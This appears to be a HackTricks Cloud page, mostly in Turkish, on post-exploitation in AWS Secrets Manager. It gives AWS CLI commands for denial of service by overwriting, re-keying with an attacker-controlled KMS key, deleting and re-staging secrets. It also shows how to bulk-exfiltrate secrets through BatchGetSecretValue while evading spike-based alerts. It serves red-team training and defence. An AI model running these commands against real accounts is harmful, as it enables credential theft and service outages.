AWS - Secrets Manager Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Secrets Manager
Daha fazla bilgi için bakınız:
Read Secrets
The secrets hassas bilgilerdir; bunları nasıl okuyacağınızı öğrenmek için check the privesc page.
DoS Change Secret Value
Secret’in değerini değiştirerek o değere bağımlı tüm sistemlere DoS uygulayabilirsiniz.
Warning
Önceki değerlerin de saklandığını unutmayın, bu yüzden önceki değere geri dönmek kolaydır.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Eğer saldırganın secretsmanager:UpdateSecret izni varsa, secret’ı saldırganın sahip olduğu bir KMS key’i kullanacak şekilde yapılandırabilir. Bu KMS key başlangıçta herkesin erişip kullanabileceği şekilde ayarlanmıştır; bu yüzden secret’ı yeni key ile güncellemek mümkündür. Eğer key erişilebilir olmasaydı, secret güncellenemezdi.
Secret için key’i değiştirdikten sonra saldırgan kendi KMS key’inin yapılandırmasını sadece kendisinin erişebileceği şekilde değiştirir. Böylece secret’ın sonraki versiyonları yeni key ile şifrelenir ve bu key’e erişim olmadığı için secret’ı elde etme yeteneği kaybolur.
Önemli olarak, bu erişilemezlik yalnızca secret’ın içeriği değiştikten sonra, yani sonraki versiyonlarda meydana gelecektir; çünkü mevcut versiyon hâlâ orijinal KMS key ile şifrelenmiştir.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Secret Silme
Bir secret’i silmek için gereken minimum gün sayısı 7’dir.
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Bir secret’ı geri yüklemek mümkündür; bu, silinmek üzere planlanmış secret’ların geri getirilmesine olanak tanır, çünkü secret’lar için minimum silme süresi 7 gün ve maksimum 30 gündür. secretsmanager:GetSecretValue izni ile birlikte, bunların içeriklerini almak mümkün olur.
Silinme sürecinde olan bir secret’ı kurtarmak için aşağıdaki komutu kullanabilirsiniz:
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Bu eylem, bir secret’e kimlerin erişebileceğini kontrol eden resource policy’yi silmeye izin verir. Eğer resource policy belirli bir kullanıcı kümesine erişim izni verecek şekilde yapılandırıldıysa, bu bir DoS’a yol açabilir.
Resource policy’yi silmek için:
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Bir secret’in durumları, secret’in sürümlerini yönetmek için kullanılır. AWSCURRENT, uygulamaların kullandığı aktif sürümü işaret eder; AWSPREVIOUS gerektiğinde geri alabilmeniz için önceki sürümü saklar; AWSPENDING ise rotation sürecinde yeni bir sürümü mevcut yapmadan önce hazırlamak ve doğrulamak için kullanılır.
Uygulamalar her zaman AWSCURRENT etiketli sürümü okur. Birisi bu etiketi yanlış sürüme taşırsa, uygulamalar geçersiz kimlik bilgilerini kullanır ve başarısız olabilir.
AWSPREVIOUS otomatik olarak kullanılmaz. Ancak, AWSCURRENT kaldırılır veya yanlış şekilde yeniden atanırsa, her şeyin hâlâ önceki sürümle çalışıyormuş gibi görünebilir.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (çağrı başına en fazla 20)
Secrets Manager BatchGetSecretValue API’sini kullanarak tek bir istekte en fazla 20 secret alabilirsiniz. Bu, her secret için GetSecretValue çağırmak yerine API çağrı hacmini önemli ölçüde azaltabilir. If filters are used (tags/name), ListSecrets izni de gereklidir. CloudTrail yine de batch ile alınan her secret için bir GetSecretValue olayı kaydeder.
Gerekli izinler
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue (her hedef secret için)
- secretsmanager:ListSecrets (–filters kullanılıyorsa)
- kms:Decrypt (secret’lerde kullanılan CMK’ler üzerinde, aws/secretsmanager kullanılmıyorsa)
Warning
secretsmanager:BatchGetSecretValueizni tek başına secret’leri almaya yeterli olmadığını unutmayın; almak istediğiniz her secret için ayrıcasecretsmanager:GetSecretValuegerekir.
Exfiltrate by explicit list
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrate filtrelere göre (tag key/value veya name prefix)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Kısmi başarısızlıkların ele alınması
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Etkileri
- Daha az API çağrısıyla birçok secret’in hızlı “smash-and-grab” şeklinde ele geçirilmesi, GetSecretValue’deki ani artışlara göre ayarlanmış uyarıları atlatabilir.
- CloudTrail kayıtları hâlâ batch ile alınan her secret için bir GetSecretValue olayı içerir.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

